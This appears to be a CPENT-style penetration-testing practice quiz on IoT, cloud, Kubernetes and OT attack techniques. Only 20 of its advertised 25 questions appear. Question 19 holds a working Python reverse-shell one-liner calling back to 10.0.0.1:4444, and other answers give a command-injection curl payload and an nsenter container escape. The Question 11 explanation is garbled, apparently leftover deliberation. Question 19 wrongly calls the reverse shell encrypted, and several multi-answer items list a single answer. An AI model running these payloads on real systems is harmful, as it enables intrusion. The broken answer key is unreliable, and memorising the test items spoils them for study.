CPENT Practice Test 2 — 25 Questions

Question 1

A tester is analyzing an IoT gateway that runs a web management interface. During discovery, the tester finds that the device exposes an unauthenticated API endpoint that accepts JSON input. Which command-line HTTP client should the tester use to send a custom POST request containing JSON data to test for command injection?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

curl -X POST -H 'Content-Type: application/json' -d '{"cmd":"id"}' http://192.168.1.100/api. cURL is the standard command-line utility for transferring data with URLs, supporting custom HTTP methods, headers, and data payloads.

Answer

ping -c 4 -p '{"cmd":"id"}' 192.168.1.100

Answer

netstat -an | grep 80

Answer

traceroute -p 80 192.168.1.100

Question 2

A penetration tester is analyzing an enterprise cloud infrastructure utilizing both AWS and Azure. Which THREE of the following attack vectors or misconfigurations are relevant to hybrid and cloud security assessments? (Choose THREE)

Accepted Answer

Abusing misconfigured OpenID Connect (OIDC) federation trust settings between GitHub Actions and AWS IAM roles to assume roles without proper repository conditions.. SSRF targeting IMDS, unauthenticated API gateway endpoints, and misconfigured OIDC/service principal trust paths are core hybrid/cloud attack vectors.

Answer

Enabling AWS CloudTrail and guarding log files with immutable S3 Object Lock policies.

Answer

Configuring VPC peering with bi-directional network ACL restrictions.

Answer

Enforcing strict Azure AD Conditional Access policies based on device compliance and location.

Question 3

During a container security assessment, a penetration tester identifies a Kubernetes pod running with 'CAP_SYS_ADMIN' capabilities and the host's PID namespace shared ('hostPID: true'). Which technique allows the tester to escape the container and execute code on the host?

Accepted Answer

Use 'nsenter --target 1 --mount --uts --ipc --net --pid' to enter the host's namespaces and spawn a root shell on the host node.. With CAP_SYS_ADMIN and hostPID enabled, the tester can inspect processes running on the host, locate processes like systemd or docker daemon, and use tools like nsenter or inject payloads into host namespaces.

Answer

Mount the Docker socket inside the container using the mount syscall enabled by CAP_SYS_ADMIN.

Answer

Execute the 'docker run' command inside the container to spin up a sibling container.

Answer

Write directly to the host's /proc/sysrq-trigger file without any additional mounts.

Question 4

A penetration tester is evaluating a Kubernetes environment and discovers that the Kubernetes dashboard is deployed with cluster-admin privileges and is exposed to the internet via a NodePort service without authentication. How can this be exploited?

Accepted Answer

An external attacker can access the dashboard web interface without credentials and deploy malicious pods with host-level access, resulting in complete cluster compromise.. An unauthenticated Kubernetes dashboard exposed via NodePort allows an attacker to execute arbitrary commands, deploy malicious pods, and take over the entire cluster.

Answer

The dashboard exposes the cloud provider root account password in plain text logs.

Answer

The attacker can harvest Kerberos ticket-granting tickets from the dashboard cache.

Answer

The attacker can perform a buffer overflow against the etcd TLS listener via the dashboard port.

Question 5

During a Kubernetes cluster security assessment, a penetration tester identifies multiple misconfigurations. Which TWO of the following findings represent high-risk security flaws in Kubernetes RBAC and cluster setup? (Choose TWO)

Accepted Answer

Exposing the Kubernetes API server endpoint directly to the public internet (0.0.0.0/0) without IP whitelisting or robust authentication.. Granting cluster-admin via ClusterRoleBinding to default service accounts and exposing the API server publicly without auth are severe risks.

Answer

Enabling Pod Security Standards (e.g., Restricted profile) across all namespaces.

Answer

Using network policies to isolate sensitive database pods from frontend web pods.

Answer

Enabling Kubernetes Role-Based Access Control (RBAC) across all API groups.

Question 6

An ethical hacker is examining an operational technology (OT) network and needs to identify programmable logic controllers (PLCs) using their native industrial protocols. Which default TCP port should the hacker scan to discover Modbus/TCP devices?

Accepted Answer

TCP 502. Modbus/TCP is an open protocol widely used in SCADA environments and operates natively over TCP port 502.

Answer

TCP 102

Answer

TCP 20000

Answer

UDP 44818

Question 7

An auditor is reviewing an AWS cloud environment and identifies several common misconfigurations related to identity and access management. Which TWO of the following practices represent significant security risks? (Choose TWO)

Accepted Answer

Using the AWS account root user credentials for day-to-day operational tasks.. Using root credentials for daily tasks and creating active access keys for root users violate foundational AWS security best practices.

Answer

Enabling multi-factor authentication (MFA) on all IAM users with console access.

Answer

Enabling AWS CloudTrail logging across all regions in the account.

Answer

Attaching AWS managed policies for read-only access to auditing roles.

Question 8

An auditor identifies that an organization's Azure storage account allows anonymous public read access to containers and blobs. What configuration change must be applied to remediate this finding?

Accepted Answer

Set the 'Allow Blob public access' property to Disabled on the storage account.. Disabling public blob access on the storage account blocks anonymous requests globally.

Answer

Rotate the primary storage account access key every 24 hours.

Answer

Enable Azure Defender for Storage and configure automatic threat remediation.

Answer

Apply an Azure Firewall rule blocking port 443 inbound to the storage account.

Question 9

A penetration tester is assessing an advanced hybrid cloud and Kubernetes infrastructure. Which THREE of the following scenarios represent critical architecture or configuration flaws? (Choose THREE)

Accepted Answer

Exposing the Kubernetes etcd database port (2379) directly to the public internet without mutual TLS authentication.. Shared secrets in configmaps, unauthenticated etcd, and weak webhook configurations are critical flaws.

Answer

Enabling TLS encryption for all intra-pod and kubelet communications.

Answer

Enabling Kubernetes audit logs and exporting them to a secure SIEM platform.

Answer

Using RBAC authorization mode with narrowly scoped roles for all cluster service accounts.

Question 10

A pentester is performing a security review of a smart meter that utilizes an unencrypted CoAP (Constrained Application Protocol) service running over UDP. Using Python and Scapy, the tester crafts a packet to interact with the device. Which default UDP port should the tester target for standard unencrypted CoAP communications?

Accepted Answer

UDP 5683. CoAP is designed for resource-constrained internet devices and typically operates over UDP port 5683 for unencrypted traffic and port 5684 for secure DTLS traffic.

Answer

UDP 1900

Answer

UDP 5353

Answer

UDP 5060

Question 11

During an assessment of a hybrid Active Directory environment, a penetration tester compromises an on-premises user account that is synchronized to Azure AD via Azure AD Connect. The tester notices that the on-premises account is a member of the local 'Backup Operators' group. Which hybrid attack path is most directly enabled by this configuration?

Accepted Answer

The tester can exploit local file read privileges associated with Backup Operators to access the NTDS.dit file, enabling offline hash extraction and subsequent synchronization abuse.. Members of the 'Backup Operators' group in Active Directory have local rights to read file contents, but more importantly, in hybrid environments with Azure AD Connect, accounts with specific local privileges or DCSync rights can sometimes be leveraged, or more specifically, the synchronization allows credential abuse. However, Backup Operators can read the NTDS.dit file or abuse local file access. Wait, specifically for Azure AD Connect, the service account or synchronized accounts can sometimes lead to Azure AD takeover if password hashes can be synchronized or if the Azure AD Connect server itself is compromised. Let's look at the options.

Answer

The tester can execute an Azure Seamless Single Sign-On ticket-forgery attack directly from the local workstation.

Answer

The tester can extract the plaintext credentials of the Azure AD Connect sync account stored improperly in the registry by Backup Operators.

Answer

The tester can directly use DCSync against the Azure AD Graph API to extract cloud-only administrative password hashes.

Question 12

A penetration tester is auditing an AWS environment and discovers that an IAM role used by an EC2 instance has an overly permissive trust policy allowing any principal in an external AWS account to assume it without specifying an ExternalId. What is the standard security term and remediation for this vulnerability?

Accepted Answer

Cross-account confused deputy vulnerability; remediate by adding a Condition block requiring an 'sts:ExternalId'.. Allowing external accounts to assume a role without an ExternalId leaves the configuration vulnerable to the 'Confused Deputy' problem. Remediation involves adding a condition using 'sts:ExternalId' to the trust policy.

Answer

Access Key exposure; remediate by rotating the static credentials associated with the IAM role.

Answer

Resource-based policy escalation; remediate by disabling cross-account access entirely in AWS Organizations.

Answer

IAM privilege escalation via PassRole; remediate by removing iam:PassRole permissions from the instance profile.

Question 13

A security researcher is evaluating an industrial IoT gateway running Linux. During a filesystem audit of the extracted rootfs, the researcher finds that the '/etc/shadow' file contains weak password hashes for the root user. Which utility can the researcher use offline on their host machine to attempt password cracking via dictionary attack against the extracted hash?

Accepted Answer

John the Ripper. John the Ripper and Hashcat are industry-standard password cracking tools that accept shadow file formats for offline dictionary and brute-force attacks.

Answer

Binwalk

Answer

Nmap

Answer

Tcpdump

Question 14

A security analyst is investigating an IoT incident where an attacker gained unauthorized access to an MQTT broker. The analyst wants to inspect the broker configuration file on a Debian-based Linux system running Eclipse Mosquitto to check if anonymous access was enabled. What is the default file path for the Mosquitto configuration file?

Accepted Answer

/etc/mosquitto/mosquitto.conf. Eclipse Mosquitto stores its primary configuration settings in '/etc/mosquitto/mosquitto.conf' on standard Linux installations.

Answer

/var/lib/mqtt/config.ini

Answer

/opt/broker/settings.xml

Answer

/etc/init.d/mosquitto.cfg

Question 15

A hardware penetration tester is investigating an IoT device printed circuit board (PCB) to extract sensitive firmware or debug data. Which THREE of the following physical hardware interfaces are commonly targeted by testers to gain console access or read memory? (Choose THREE)

Accepted Answer

SPI (Serial Peripheral Interface) flash memory pins. Physical hardware hacking heavily relies on serial debug interfaces like UART, JTAG for boundary-scan debugging, and SPI/I2C for flash memory extraction.

Answer

HDMI display output pins used for high-speed video graphics rendering

Answer

RJ-45 Ethernet port pin 8 carrying PoE (Power over Ethernet) voltage directly to the CPU core

Question 16

A penetration tester is operating inside a segmented corporate network and needs to scan a target subnet using TCP SYN packets while randomizing the order of scanned hosts and ports to evade intrusion detection systems. Which Nmap option implements this randomization?

Accepted Answer

--randomize-hosts. The --randomize-hosts option tells Nmap to randomize the order in which it scans hosts, helping to evade threshold-based IDS/IPS alerts.

Answer

-T0

Answer

--spoof-mac

Answer

-D

Question 17

A tester is conducting a physical security and RF assessment against a wireless building automation system operating at 433 MHz. The tester wants to capture and replay the radio frequency signal emitted by a key fob to unlock a gate. Which hardware tool is specifically designed for software-defined radio (SDR) signal capture and analysis in this frequency range?

Accepted Answer

HackRF One / RTL-SDR. HackRF One, RTL-SDR, and similar software-defined radios are used for capturing RF signals. Specifically, devices like RTL-SDR or HackRF paired with GNU Radio or Universal Radio Hacker (URH) cover the 433 MHz band.

Answer

JTAGulator

Answer

Bus Pirate

Answer

Rubber Ducky

Question 18

An engineer is conducting a security audit on a smart grid device that uses CoAP over DTLS. The engineer attempts to intercept the handshake and notices pre-shared key (PSK) cipher suites are enabled. Which OpenSSL command can the engineer use to test connecting to the DTLS service using a specific Pre-Shared Key identifier and hex-encoded key?

Accepted Answer

openssl s_client -dtls1 -psk 01020304 -psk_identity test_id -connect 192.168.1.50:5684. OpenSSL supports DTLS testing and allows specifying PSK identity and keys using parameters like '-psk' and '-psk_identity'.

Answer

ssh -p 5684 -o KexAlgorithms=psk 192.168.1.50

Answer

nc -u 192.168.1.50 5684

Answer

telnet 192.168.1.50 5684

Question 19

A penetration tester successfully compromises a Linux web server and needs to establish an encrypted interactive reverse shell back to their attacking machine, but standard netcat is not installed. Which native Python command-line snippet can be executed to spawn a bash shell back to the listener?

Accepted Answer

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' is the standard python reverse shell payload.

Answer

python -c 'import pty; pty.spawn("/bin/sh")'

Answer

python -m SimpleHTTPServer 80

Answer

python -c 'print("Hello World")'

Question 20

An IoT penetration tester is analyzing the security of a Zigbee smart lighting installation. Which TWO of the following tools or frameworks are specifically utilized when assessing 802.15.4 and Zigbee wireless security? (Choose TWO)

Accepted Answer

KillerBee (Python framework for exploiting Zigbee/IEEE 802.15.4). KillerBee and Universal Radio Hacker (URH) or Wireshark with appropriate hardware dongles (like CC2531) are standard toolsets for Zigbee and 802.15.4 assessments.

Answer

Aircrack-ng suite for cracking WPA-PSK Wi-Fi pre-shared keys

Answer

Metasploit 'msfvenom' module generating Windows Meterpreter payloads for Active Directory persistence

Answer

Burp Suite Professional for intercepting HTTP requests from web applications